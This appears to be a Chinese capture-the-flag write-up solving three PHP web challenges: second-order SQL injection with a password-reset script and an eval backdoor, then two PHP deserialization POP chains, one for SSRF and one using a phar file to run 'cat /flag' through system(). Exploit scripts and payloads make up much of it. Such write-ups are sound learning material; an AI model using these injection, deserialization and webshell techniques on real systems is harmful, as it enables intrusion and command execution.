考点:二次注入 目录穿越 suid提权
进入页面发现可以注册用户,先随便注册一个
发现可以更改密码
尝试二次注入
注册一个admin"#的用户
更改密码
重新登入
可以用admin身份了,但是只能查看用户信息
查看static/js/req.js
这很可能就是修改admin和root密码的发包形式
发现url是/?c=admin&m=updatePass
于是可以根据这个发包对里面的data改写成root的,这要登录在admin下进行修改,因为root没有权限哪只能是admin有
#网上找到
import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28076/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28076?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"TIz"})
print(res2.text)
更改root密码为root即可登入
发现
应该是文件下载漏洞,下载时抓包
要目录穿越
dirseach扫描有phpinfo.php
md5解码1q2w3e
发现eval有命令执行机会
构造:phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);
蚁剑连接发现无权限,提权
[SWPUCTF 2022 新生赛]Power!
右键查看源码发现信息
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}
}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
链子:FileViewer -> Backdoor::__destruct() -> FileViewer::__call() -> FileViewer::loadfile() -> FileViewer::curl()
在 unserialize 之后会调用 $FV->loadfile();但$FV 不是 FileViewer 类的实例则会抛出异常, 导致 Backdoor 类的 __destruct 不会成功执行
解决方法就是再实例化一个 FileViewer 对象 将 Backdoor 塞进这个对象的某个属性里 (php 可以反序列化出不存在的属性)
<?php
class FileViewer{
public $local = "http://127.0.0.1:65500/";
public $path = '';
}
class Backdoor{
public $a;
public $b;
public $superhacker;
}
$y = new FileViewer();
$x = new Backdoor();
$x->a = $y;
$x->b = 'local';
$x->superhacker = 'http://127.0.0.1:65500/';
$z = new FileViewer();
$z->test = $x;
echo base64_encode(serialize($z));
[SWPUCTF 2021 新生赛]babyunser
index.php
<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>
read.php
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){
die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>
class.php
<?php
class aa{
public $name;
public function __construct(){
$this->name='aa';
}
public function __destruct(){
$this->name=strtolower($this->name);
}
}
class ff{
private $content;
public $func;
public function __construct(){
$this->content="\<?php @eval(\$_POST[1]);?>";
}
public function __get($key){
$this->$key->{$this->func}($_POST['cmd']);
}
}
class zz{
public $filename;
public $content='surprise';
public function __construct($filename){
$this->filename=$filename;
}
public function filter(){
if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){
die('这不合理');
}
}
public function write($var){
$filename=$this->filename;
$lt=$this->filename->$var;
//此功能废弃,不想写了
}
public function getFile(){
$this->filter();
$contents=file_get_contents($this->filename);
if(!empty($contents)){
return $contents;
}else{
die("404 not found");
}
}
public function __toString(){
$this->{$_POST['method']}($_POST['var']);
return $this->content;
}
}
class xx{
public $name;
public $arg;
public function __construct(){
$this->name='eval';
$this->arg='phpinfo();';
}
public function __call($name,$arg){
$name($arg[0]);
}
}
审代码可知要靠_call()方法命令执行
链子:aa::_destruct->zz::_tostring->mothod=write&var=content->zz::write()->ff::_get->func=system->xx::_call
可能有点乱
是这样的:ff里面有 $this->$key->{$this->func}($_POST['cmd']);
但是$key是content而content里面又没有system方法所以会触发_call
在call里面命令执行
<?php
class aa{
public $name;
}
class ff{
private $content;
public $func="system";//命令执行
public function __construct(){
$this->content=new xx();//触发_call
}
}
class zz{
public $filename;
public $content;
}
class xx{
public $name;
public $arg;
}
$a=new aa();
$a->name=new zz();//触发——tostring
$a->name->filename=new ff();//触发_get
$phar = new phar('exp.phar');
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","test");
$phar -> stopBuffering();
?>
//POST:method=write&var=content&cmd=cat /flag
file=phar://upload/你的文件.txt&method=write&var=content&cmd=cat /flag